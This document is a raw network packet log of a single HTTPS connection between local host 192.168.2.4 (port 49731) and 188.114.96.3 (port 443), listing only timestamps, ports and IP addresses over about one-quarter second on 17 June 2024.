Jun 17, 2024 16:18:42.988109112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988132000 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988142967 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988149881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988172054 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988188982 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988279104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988298893 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988343000 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988348961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988379955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988907099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988929987 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988961935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.988969088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.988991976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989011049 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989090919 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989110947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989130974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989136934 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989162922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989181042 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989244938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989264965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989286900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.989293098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.989319086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995460033 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995484114 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995521069 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995527029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995543957 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995552063 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995564938 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995570898 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995601892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995615959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995620966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995630980 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995646000 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995651007 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995667934 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995676041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995690107 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995719910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995805979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995826006 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995850086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995856047 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.995872974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.995891094 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996190071 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996208906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996242046 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996247053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996272087 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996290922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996476889 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996506929 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996535063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996541023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996563911 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996577978 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996582031 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996592045 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996614933 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996617079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996648073 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996654034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996687889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996689081 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996702909 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.996727943 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996754885 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.996758938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997037888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997056007 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997072935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997081041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997103930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997186899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997205973 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997231960 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997241020 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997253895 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997328997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997347116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997369051 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997374058 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997387886 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997450113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997468948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997495890 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.997502089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.997520924 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998116970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998136997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998168945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998174906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998192072 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998203993 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998224020 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998249054 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998255014 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998272896 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998435020 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998454094 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998488903 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998498917 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998517990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998537064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998557091 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.998564005 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.998585939 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999206066 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999222994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999253988 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999259949 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999274969 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999284983 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999305964 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999330044 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999335051 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999351978 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999542952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999567032 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.999602079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.999609947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000133038 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000152111 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000185966 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000193119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000215054 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000385046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000406981 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000433922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000442028 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000462055 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000507116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000539064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000564098 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000571966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000587940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000678062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000695944 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000720024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.000726938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.000744104 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001223087 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001240969 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001274109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001281023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001300097 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001501083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001522064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001549959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001555920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001580954 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001646042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001665115 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001692057 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001698017 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001713037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001813889 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001832008 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001852036 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.001858950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.001879930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.002593040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002613068 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002641916 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.002650023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002670050 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.002882957 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002901077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002929926 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.002935886 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.002955914 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.003011942 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003034115 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003057957 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.003063917 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003081083 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.003098965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003117085 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003140926 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.003146887 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.003165960 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004281998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004302979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004369020 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004375935 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004398108 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004420996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004440069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004461050 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004468918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004492044 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004501104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004545927 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004551888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004612923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004632950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004654884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.004661083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.004694939 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005260944 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005281925 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005312920 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005319118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005333900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005419016 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005443096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005461931 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005470037 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005491972 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005559921 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005580902 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005604029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005610943 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005631924 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005652905 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005678892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005692959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.005697966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.005731106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006237030 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006256104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006289959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006295919 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006314039 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006326914 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006351948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006369114 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006376982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006400108 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006480932 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006500959 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006525993 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.006535053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.006550074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007129908 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007153988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007181883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007188082 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007205009 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007220984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007244110 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007266998 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007273912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007293940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007306099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007330894 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007350922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007356882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007373095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007493973 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007512093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007535934 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007544041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007560968 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007908106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007930994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007956982 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.007965088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.007983923 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008270025 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008289099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008316994 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008322954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008344889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008414030 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008435965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008455038 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008460999 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008486032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008589029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008608103 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008635998 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.008641958 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.008661032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009140015 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009164095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009191036 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009196997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009212971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009218931 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009242058 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009267092 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009273052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009294033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009330034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009352922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009370089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009377956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009393930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009521961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009546041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009571075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.009577036 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.009598017 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010075092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010097027 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010128021 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010133982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010144949 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010229111 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010246992 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010272980 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010277987 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010299921 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010375023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010397911 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010416985 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010422945 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010446072 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010515928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010534048 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010559082 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.010566950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.010586977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011045933 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011070967 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011110067 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011115074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011132002 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011279106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011310101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011326075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011333942 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011348009 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011372089 CEST	443	49731	188.114.96.3	192.168.2.4
